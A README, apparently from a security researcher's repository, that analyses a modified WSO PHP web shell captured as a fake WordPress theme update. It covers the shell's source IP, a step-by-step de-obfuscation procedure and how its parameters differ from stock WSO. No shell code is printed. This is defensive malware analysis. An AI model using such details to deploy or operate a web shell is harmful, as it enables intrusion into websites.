Skip to content

Latest commit

 

History

History

general.php

README.md

general.php - web shell

Seems to be a slightly modified WSO (web shell by oRb) web shell.

Origin

IP Address 83.166.240.162

Belongs to 83.166.240.0/23AS24936, registered to LLC Management Company "Svyaz", in Moscow. That reconciles, traceroute shows hops through rostelecom.demarc.cogentco.com, and cat6509-vlan27.neocomms.ru to get to 83.166.240.162

Download

Downloaded as a WordPress theme update. I'm not sure how this works, as WordPress seems to expect a zip file, while the file downloaded is just plain text. Maybe the downloader expects it to error out, but leave behind the plain text file for access later.

Deobfuscating

My PHP de-obfuscator did not work well with this particular obfuscation method. I had to do a lot of hand editing.

  1. ~/src/php/reverse-php-malware/revphp -X *file > f1.php - pretty-print it, fix obscured function names
  2. Hand-edit f1.php into dc1.php, change "assert" to "print"
  3. php dc1.php > dc2.php, de-obfuscate decoding function
  4. Hand-edit dc2.php into dc3.php, reformat, change "eval" to "print"
  5. Merge dc1.php and dc2.php into dc3.php. This puts de-fanged decoding code into the context in which it would have been de-obfuscated and eval'ed.
  6. php dc3.php > dc4.php, which undoes a level of encoding, but leaves me with obfuscated code.
  7. ~/src/php/reverse-php-malware/pp.php dc4.php > f2.php - pretty-print obfuscated code.
  8. Hand-edit f2.php, do a little cleanup around '<?php' tags.
  9. De-obfuscate one more time: ~/src/php/reverse-php-malware/revphp f2.php > f3.php
  10. Hand-edit f3.php to change "eval" to "print".
  11. php f3.php > dc5.php
  12. Hand-edit dc5.php to change "eval" to "print"
  13. php dc5.php > dc6.php

dc6.php seems to constitute the final, de-obfuscated, form.

Analysis

Seems to end up with a trimmed-down WSO web shell. Has features that indicate the original WSO was version 2.5 or maybe 2.9.

Somewhat modified in that it uses different names for the HTTP parameters passed to it from browsers: "pw" instead of "password", "p" instead of "p1". function actionPhp() uses base64_decode() on the text passed to it, instead of just eval'ing whatever gets sent along.

Tries to run code via assert(), which PHP 7.x prohibits. Also has a token VERSION which WSO instances usually define. This code does not, so I wonder if it won't error out on invocation.

I can't see that anyone ever tried to access general.php, which is what the theme update probably would have named the file.